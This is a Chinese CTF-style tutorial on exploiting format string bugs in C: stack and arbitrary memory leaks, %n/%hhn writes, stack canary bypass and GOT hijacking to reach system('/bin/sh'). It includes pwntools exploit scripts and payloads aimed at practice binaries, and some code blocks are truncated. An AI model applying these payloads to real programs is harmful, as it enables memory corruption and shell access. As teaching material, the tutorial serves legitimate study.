PWN入门-格式化字符串
格式化字符串函数介绍
格式化字符串函数将第一个参数作为格式化字符串,根据其来解析之后的参数。一般来说格式化字符串在利用的时候主要分三个部分
格式化字符串
基本格式如下%[parameter] [flag] [field width] [.precision] [length] type
中括号中的属性是可选的,不需要一定都写上,比如%08x,他就只用到了其中的一部分。下面举几个比较重要的属性讲一下:parameter
- n$,获取格式化字符串中的指定参数
flagfield width,输出的最小宽度precision,输出的最大长度length,输出的长度 - hh,输出一个字节
- h,输出一个双字节
type - d/i,有符号整数
- u,无符号整数
- x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
- c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
- p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, ‘%’字面值,不接受任何 flags, width。
参数
要输出的变量
漏洞原理
格式化串漏洞和普通的栈溢出有相似之处,都是利用程序员的疏忽大意来改变程序运行的正常流程。
首先,什么是格式化字符串,print()、fprint()等*print()系列的函数可以按照一定的格式将数据进行输出,举个最简单的例子:printf("My Name is: %s" , "Zechariah")
执行该函数后将返回字符串:My Name is:Zechariah
该printf函数的第一个参数就是格式化字符串,它来告诉程序将数据以什么格式输出。
printf()函数的一般形式为:printf("format", 输出表列),我们对format比较关心,看一下它的结构吧:%[标志][输出最小宽度][.精度][长度]类型,其中跟格式化字符串漏洞有关系的主要有以下几点:
1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
2、类型:%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$1x表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x10$n表示将ex64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为八字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
关于printf()函数的使用,正常我们使用printf()函数应该是这样的:
char str[100]; |
这是正确的使用方式,但是也有的人会这么用:char str[100];
scanf("%s",str);
printf(str)
我们可以对比一下这两段代码,很明显,第二个程序中的printf()函数参数我们是可控的,我们在控制了format参数之后结合printf()函数的特性就可以进行相应的攻击。
函数特性
特性一: printf()函数的参数个数不固定
我们可以利用这一特性进行越界数据的访问。我们先看一个正常的程序:
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}
我们编译之后运行:
[email protected]:~/Desktop/format$ gcc -fno-stack-protector -o format format.c |
接下来我们做一下测试,我们增加一个printf()的format参数,改为:printf("%s %d %d %d %x\n",buf,a,b,c),编译后运行:[email protected]:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
format.c: In function ‘main’:
format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
printf("%s %d %d %d %x\n",buf,a,b,c);
^
[email protected]:~/Desktop/format$ ./format1
test 1 2 3 c30000
虽然gcc在编译的时候提示了一个warning,但还是编译通过了,我们运行后发现多输出了一个C30000,这是个什么数据呢,我们用gdb调试一下看看吧,我们在printf()函数处下个断点,然后运行程序,程序停在了printf()函数入口处0xb7e652f0 __printf+0 push %ebx。
我们查看一下此时的栈布局:
>>> x/10x $sp |

只要我们能够控制format的,我们就可以一直读取内存数据。
printf("%s %d %d %d %x %x %x %x %x %x %x %x\n",buf,a,b,c) |
上一个例子只是告诉我们可以利用%x一直读取栈内的内存数据,可是这并不能满足我们的需求不是,我们要的是任意地址读取,当然,这也是可以的,我们通过下面的例子进行分析:
int main(int argc, char *argv[])
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}
我们可以直接尝试去读取str[]的内容呢
gdb调试,单步运行完call 0x8048340 <[email protected]>后输入:AAAA%08x%08x%08x%08x%08x%08x
然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始):>>> x/10x $sp
0xbfffef70: 0xbfffef88 0x000000c8 0xb7fc1c20 0xb7e25438
0xbfffef80: 0x08048210 0x00000001 0x41414141 0x78383025
0xbfffef90: 0x78383025 0x78383025
这时候我们需要借助printf()函数的另一个重要的格式化字符参数%s,我们可以用%s来获取指针指向的内存数据。
那么我们就可以这么构造尝试去获取0x41414141地址上的数据:\x41\x41\x41\x41%08x%08x%08x%08x%08x%s
到现在,我们可以利用格式化字符串漏洞读取内存的内容,看起来好像也没什么用啊,就是读个数据而已,我们能不能利用这个漏洞修改内存信息(比如说修改返回地址)从而劫持程序执行流程?
特性二:利用%n格式符写入数据
%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码:
main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
}
可以发现我们用%n成功修改了num的值:[email protected]:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8
现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。
特性三:自定义打印字符串宽度
我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:
main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
}
可以看到我们的num值被改为了100[email protected]:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100
如何去覆盖一个地址?,例如把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);
可以看到,我们的num被成功修改为8048000[email protected]:~/Desktop/format$ ./format2
Before: num = 66666666
中间的0省略...........
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 8048000
[email protected]:~/Desktop/format$
漏洞利用原理
格式化字符串函数是根据格式化字符串来进行解析的,那么响应的要被解析的参数的个数也是由这个格式化字符串所控制。
正常的printf函数的结构是格式化字符串与参数一一对应的。那么在调用printf函数的时候参数从右向左进栈,进栈之后格式化字符串是在栈顶的位置。那么在进入printf之后,函数首先获取第一个参数,也就是此时栈顶的格式化字符串,一个一个读取其字符串会遇到两种情况
- 当前字符串不是%,直接输出到相应标准输出,比如直接输出一个’hello word‘
- 当字符是%,继续读取下一个字符
- 如果没哟字符,报错
- 如果下一个字符是%,输出%
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出
如果缺少参数呢,例如下面这样:printf("Color %s, Number %d, Float %4.2f");
此时可以发现并没有提供参数,那么程序如何运行呢?程序会照样运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为:
- 解析其地址对应的字符串
- 解析其内容对应的整形值
- 解析其内容对应的浮点值
对于第一种情况来说,如果提供了一个不可访问地址,比如0,那么程序就会崩溃,所以说即使printf函数没有给出参数,也会按照格式化字符串给出的格式打印出接下来三处地址中的内容
%d :十进制,输出十进制整数
%s : 字符串,从内存中读取字符串
%x : 十六进制,输出十六进制数
%c : 字符串,输出字符串
%n : 到目前为止缩写的字符串数漏洞利用方法
1. 程序崩溃
拿到一个程序之后可以通过输入若干个%s来进行判断是否存在格式化字符串漏洞前面讲过没有参数的时候printf函数依然还可以输出格式化字符串对应的地址中的内容,所以如果存在格式化字符串漏洞,在输入一长串%s之后,printf会将%s作为格式化字符串,将对应地址中的内容以字符串的形式输出出来。但是栈上不可能每个值都对应了合法地址,所以数字对应的内容可能不存在,这个时候就会使程序崩溃。%s%s%s%s%s%s%s%s%s%s%s%s%s%s
在Linux中,存取无效的指针会引起进程受到SIGSEGV信号,从而使程序非正常终止并产生核心转储
2. 泄露栈内存
例题如下:
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
#编译如下:gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
获取栈变量数值
通过gdb打开程序,在printf处下断点
然后按r运行,输入%08x.%08x.%08x

可以看到格式化字符串的第一个%08x解析的是0x1,第二个%08x解析的是0x22222222,第三个%08x解析的是-1,第四个%s解析的是我们输入的“%08x.%08x.%08x”字符串。所以接下来输入c让程序继续执行,我们预计的情况是会将这四处输出出来:
pwndbg> c |
和我们想象的一样,并且程序会继续停在第二个printf函数处,依然还是看一下栈空间

可以看到由于第二次printf没有给参数,所以触发了格式化字符串漏洞,可以看到格式化字符串的第一个%08x解析的是0xffffd090,第二个%08x解析的是0xf7fd0410,第三个%08x解析的是0x1。接下来输入c让程序继续执行,我们预计的效果是打印出“ffffd090. f7fd0410. 00000001”
pwndbg> c |
我们不只可以用%x%x%x,还可以使用%p来获取数据:hollk@ubuntu:~/ctf-challenges/pwn/fmtstr/leakmemory$ ./leakmemory
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xffe9c200.0xf7eee410.0x1
由于栈上的数据会因为每次分配的内存页不同,所以并不是每次得到的结果都一样。我们上面使用的方法一直都是依次输出栈中的每个参数,那么我们想要输出一个特定位置的内容,就需要更改一下输入的内容%n$x
还是通过gdb打开程序,在printf函数下断点,接下来输入r运行起来。这个时候我们按照上面的公式输入%3$xpwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/fmtstr/leakmemory/leakmemory
%3$x
依旧输入c会打印出“00000001.22222222.ffffffff.%3$x”,并且程序还会停在第二个printf函数处,这个时候我们就需要看一下栈空间了
可以看到我们输入的%3$x被放置到了printf函数格式化字符串的位置,一会我们再讲为什么要输入 %3$x。接下来输入c看一看打印的结果
可以看到我们输出的是1,也就是上面的0x1,所以说%3$x解析的是0x1。那么就需要仔细琢磨一下我们输入的%3$x
事实上我们通过%3$x输出的0x1是格式化字符串的第三个参数,所以我们的%3$x就是第三个参数的意思
但是我们实际上输出的是printf的第四个参数,因为格式化字符串就是printf函数的其中一个参数。这样我们就可以不用遍历整个栈,能够指定输出某个栈上的内容
获取栈变量对应字符串
其实就是把前面格式化字符串的x改成s就可以了,%s会以字符串的形式输出栈地址中的内容,验证过程和上面一样,就不写了
小技巧总结
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
利用 %s 来获取变量所对应地址的内容,只不过有零截断。
利用%order$x来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。泄露任意地址内存
有时候我们想要泄露某个libc函数的got表内容,从而的到其地址,进而获取libc版本以及其他函数的地址,这时候能够完全控制泄露某个指定地址的内存就很重要了。一般来说在格式化字符漏洞中,我们读取的格式化字符串都在栈上。也就是说在调用输出函数的时候,其实第一个参数的值其实就是该格式化字符串的地址
由于我们可以控制格式化字符串,如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设改格式化字符串相对函数调用为第K个参数。那么就可以通过如下 的方式来获取某个指定地址addr的内容
addr%k$s
下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定
[ tag ]%p%p%p%p%p%p%p%p%p%p%p%p.......
[tag]为重复某个字符的字节长来作为tag,就是aaaa、bbbb这样就可以。后面个%p会将依次遍历以地址的形式打印出函数参数,试一下:
我们输入的AAAA对应后面到0x41414141,也就是格式化字符串的第四个参数,当然我们也可以使用前面的方法:
AAAA%4$p |
那么我们想想,如果将AAAA替换成某个函数的got地址,那么程序就会打印出这个函数的真实地址。我们拿scanf函数举例,获取函数got地址就交给我们的pwntools了:from pwn import *
sh = process('./leakmemory')
elf = ELF('./leakmemory')
__isoc99_scanf_got = elf.got['__isoc99_scanf'] #获取scanf函数的got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s' #将AAAA%4$p中的A替换成scanf函数的got地址
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8]))
sh.interactive()
3. 覆盖内存
前面我们通过格式化字符串来泄露栈内存以及任意地址内存,那么这部分我们直接修改栈上变量的值。想要进行覆盖,势必要有一个东西能有写的能力。这个时候就用到了%n%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
…[ overwrite addr ]….%[ overwrite offset ]$n
**其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数
一般来说,利用分为以下的步骤:
• 确定覆盖地址
• 确定相对偏移(找格式化字符串中第几个参数)
• 进行覆盖
举例:/* example/overflow/overflow.c */
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
简单的讲一下这个例子,三个整型变量a=123、b=456、c=789。a、b是全局变量,c是局部变量,数组s等待我们从scanf函数输入。可以明显的看到第二个printf函数存在格式化字符串漏洞。最后是三个判断,如果c = 16就打印“modified c.”,如果a = 2就打印“modified a for a small number.”,如果b = 0x12345678就打印“modified b for a big number!”
覆盖栈内存
这里我们选择让c = 16,使程序打印“modified c.”,可以从源码中看到第一次printf打印出了变量c的地址,所以不需要额外找了AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

我们可以通过结果看到变量s(c的地址)是在格式化字符串的第6个参数,接下来就可以根据上面的公式来构造payload了
from pwn import * |
首先第一个c_addr就是变量c的地址,可以通过接收第一次printf打印出来的字符获得。因为前面的c_addr已经占了4个字节,第二个%012d是为了补全16个字节,最后的%6$n是为了向第6个参数内写16,这个16就是前面的16个字节。这就是%n的能力
执行结果如下,可以看到输出的“modified c.”字符串:
覆盖任意地址内存
覆盖小数字
这个小是什么小呢,是小于机器字长的数字。拿2举例子,如果我想向变量中存一个2,那就会出现问题,回想一下刚在我们做的例子,%n会将前面输入的字节数存放到指定的参数地址中。但是我们将地址放在最前面,那么经过p32小端序转化之后地址本身就会占4个字节,所以经过%n存放的时候,向变量中写的数一定是大于等于4的,那这样一来我们想向变量中存放2的想法可能就要破灭了。我们拿a = 2举例,使程序输出字符串“modified a for a small number.”
但是我们想一想,地址一定要放在最前面吗,我们的%n是可以向指定的参数地址写入数字的,所以把原有的payload该一下:'aa%k' + '$naa' +p32(a_addr)
我们把前面的字符串拆分成两部分,每个部分四个字节,因为变量是从第六个参数开始的,所以aa%k是第6个、$naa是第7个、p32(a_addr)是第8个,所以k需要改成8,这样%n就会将“aa”这两个字符的字符数2写在第8个参数,即变量a的地址中:'aa%8' + '$naa' +p32(a_addr)
那么这样一来偏移找到了,剩下的就是变量a的地址了,因为a已经进行过初始化了,所以使用ida可以在.data段找到:
exp如下:
from pwn import * |

覆盖大数字
到这里为止,应该对%k$n有一定的了解了,还是那个原则,%k$n前面有多少个字节,那么就会向第k个参数地址中写多少。那么回来,覆盖大数字能有多大呢?拿b = 0x12345678举例,换成十进制的话就是305419896个字节,这就已经非常大了,我们没法构建一个超级长的payload的插入栈中,因为栈的长度可能都没有这么长😁
那么我们改变一下思路,我们一定要一次性写入0x12345678吗?存放变量b的地址空间有4个字节:
因为在x86、x64中时按照小端序的形式存储的,所以以b_addr作为基地址开始,依次从右向左在每个字节中写入内容。也就是说我们不必须一次性将变量b的所有位置填满,可以一个字节一个字节的填充。这样填充的方法就用到了格式化字符串里面的两个标志位了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数
定义很复杂,简单点说如果我们使用了h标志位,那么就会向变量b中一次性写两个字节,写两次填满。使用hh标志位会向变量b中一次性写一个字节,写四次填满。那么我们去想,如果将b_addr放在格式化字符串的第六个参数位置、b_addr + 1放在第7个参数位置、b_addr + 2放在第8个参数位置、b_addr + 3放在第9个参数位置。再通过%6$hhn、%7$hhn、%8$hhn、%9$hhn将0x78、0x56、0x34、0x12写进去是不是就可以了!payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
- 前面的四个p32每个占4字节,一共16个字节,%104x占104个字节,所以104 + 16 = 120 =0x78,所以%6$hhn会将0x78写到第6个参数,即p32(b_addr)的位置
- %222x占222个字节,再加上前面的字节数:120 + 222 = 342 = 0x156,因为hh是单字,所以只取后面的0x56,所以%7$hhn会将0x56写到第7个参数,即p32(b_addr + 1)的位置
- %222x占222个字节,再加上前面的字节数:342 + 222 = 564 = 0x234,因为hh是单字,所以只取后面的0x34,所以%8$hhn会将0x34写到第8个参数,即p32(b_addr + 2)的位置
- %222x占222个字节,再加上前面的字节数:564 + 222 = 0x312,因为hh是单字,所以只取后面的0x12,所以%9$hhn会将0x12写到第9个参数,即p32(b_addr + 3)的位置
这样一来我们就完成了对变量b四个字节的填充,填充之后b = 0x12345678,剩下的就是寻找b的地址了,依然还是使用ida在.data里面找到b的地址:
这样一来b_addr = 0x0804A028
exp如下:结果如下,会看到程序打印字符串“modified b for a big number!”from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
print sh.recv()
sh.interactive()
例题
例(1) x64
ubuntu24.04运行不了,抄的别的师傅的
64位格式化字符串和32位的很相似,做题的步骤也相同,唯一不同的是64位程序对函数参数存储的方式和32位的不同。64为程序会优先将函数的前6个参数放置在寄存器中,超过6个的再存放在栈上,而32位直接存放在栈上。


使用gdb打开一下,依然还是在printf处下断点
pwndbg> b printf |
可以看到我们停在了printf函数处。64位程序需要先往寄存器上看,因为格式化字符串作为printf函数的第一个参数,所以理所应当的存放在rdi寄存器中,剩下的RSI、RDX、RCX、R8、R9这5个寄存器会接着存放其他参数。上面看完了往栈上看,可以看到栈顶为printf函数的返回地址,我们想要的flag在返回地址下的第四个。所以如果我们想要打印flag,那么flag距离格式化字符串的偏移就是5 + 4 = 9
from pwn import * |

例(2) 绕过Canary
走一套流程
32位文件,开启了NX和Canary保护
Canary简介:Canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上(最低位都是\x00),当函数结束时会检查这个栈上的值是否和存进去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致Canary的值发生变化,那么程序将执行
___stack_chk_fail函数,继而终止程序。
所以如果有一道题开启了canary保护,但不知道canary的值,就不能够进行ROP来劫持程序流程,那么这道题就无法解决了。Canary绕过方式一般canary有两种利用方式:
1.爆破canary
2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过
这里我们采用第二种利用方法:printf属于可变参数函数,函数调用者可任意指定参数和数量,这也是漏洞产生的原因。
进IDA看一下main函数开头和结尾的汇编

以上证实了程序开启了Canary保护
再看一下伪代码
发现了printf(格式化字符串漏洞)和易导致栈溢出的函数gets
同时发现后门
大致解题思路如下:覆盖至main函数的Cananry处,填上正确的Canary,然后覆盖返回地址为后门函数处,即可拿到shell
根据汇编可知寄存器edx里存的就是Canary的值
我们在printf和main函数末尾的xor下断点

0xffffc620为format在stack中的位置
EDX的值就是Canary的值
看内存,Canary的值与format相距15
Canary的偏移为15,这样我们在第一次gets时发送%15$x就会(printf)泄露出canary
的值
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
然后我们确定gets到Canary的偏移
由前面分析可知v5里就是Canary的值
在IDA中查看可知s到v5的偏移为0x2c-0x04=40
EBP下面为return_address
canary在[ESP+0x3c]=0xffffc65c,EBP在0xffffc668,相减等于12
完成如下exp
from pwn import * |

同时可以看出Canary是变化的
getshell
例(3) hijack GOT
https://pan.baidu.com/s/1H9AVH4wXct8gxkf9GV0YWA
提取码:140h原理
现在的C程序中,libc的函数是通过GOT表来实现跳转的。在没有开启RELRO(或开启Partial RELRO)保护的前提下,每个libc的函数对应的GOT表项是可以被修改的。因此修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制。
假设我们将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤
- 确定函数A的GOT表地址
主要利用函数A一般在程序中已有,所以可以采用简单的寻找地址的方法来找- 确定函数B的内存地址
需要想办法泄露对应函数B的地址- 将函数B的内存写入到函数A的GOT表地址处
需要利用函数的漏洞来触发写入函数:write函数 ROP - `pop eax; ret; # printf@got -> eax` - ` pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx` - `add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset` 格式化字符串任意地址写实操
32位,只开启了NX(栈不可执行保护)
查看文件执行流程





自己运行一下这个程序了解该程序的功能,总的来说该程序模拟了一个文件创建读取软件
getshell思路
无现成的system和bin/sh,尝试泄露libc
同时,除了一个格式化字符串漏洞之外,其他地方没有什么问题
我们尝试用printf函数来泄露函数的真实地址
确定格式化字符串偏移
简单逆向分析处密码rxraclhm
从栈上或输出均可判断输入的字符串偏移为7
泄露puts函数地址
已知字符串偏移为7,然后利用pwntools的ELF模块可知puts@got的地址,构建如下payloadpayload = '%8$s'+p32(puts_got)
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
我们将%s放在第7位,puts@got放在第8位,这样%8$s就会把puts函数的真实地址打印出来了。为什么要这样布置呢,其实是为了方便接收打印出来的字符串。这样布置后puts函数的真实地址会在前4个字节打出来,所以只需要接收前四个就可以了。
当然你也可以选择:payload=p32(puts_got) +’%7$s’
这种方式,不过打印出来的内容需要从第5个字节开始接收
这样即可得到程序运行时puts函数的真实地址puts_addr = u32(sh.recv()[:4])
找system函数地址
如果是远程pwn,我们去查找一下libc对应版本即可
libc=ELF('/lib/i386-linux-gnu/libc.so.6') |
覆盖puts函数
前面已经用过了puts_file和get_file函数,接下来使用show_dir函数
基本思路是这样的:
回顾一下show_dir函数,这个函数会将我们输入的文件名存放在变量s中,最后会作为puts函数的参数打印出来。那么如果将puts函数替换成system函数,并且我们创建一个叫”/bin/sh”的文件名,那么原本应该执行的是puts(s),但实际上执行的却是system(“/bin/sh”)
那么覆盖的过程依然利用格式化字符串进行覆盖,这里介绍一下pwntools中的一个函数fmtstr_payload
payload = fmtstr_payload(7,{puts_got:sys_addr}) |
7:距离格式化字符串的偏移
puts_got:被覆盖的地址
sys_addr:覆盖的地址
执行dir后getshell
覆盖后输入dir调用show_dir函数,原本的puts(“/bin/sh;”)就会转而执行system(“/bin/sh;”),然后即可getshell
回顾思路
输入密码—>输入put创建文件—>输入文件名”/bin/sh;”—>输入文件内容(覆盖的payload)->输入get打印文件内容—>输入要打印的文件名”/bin/sh;“执行覆盖
exp
from pwn import * |
getshell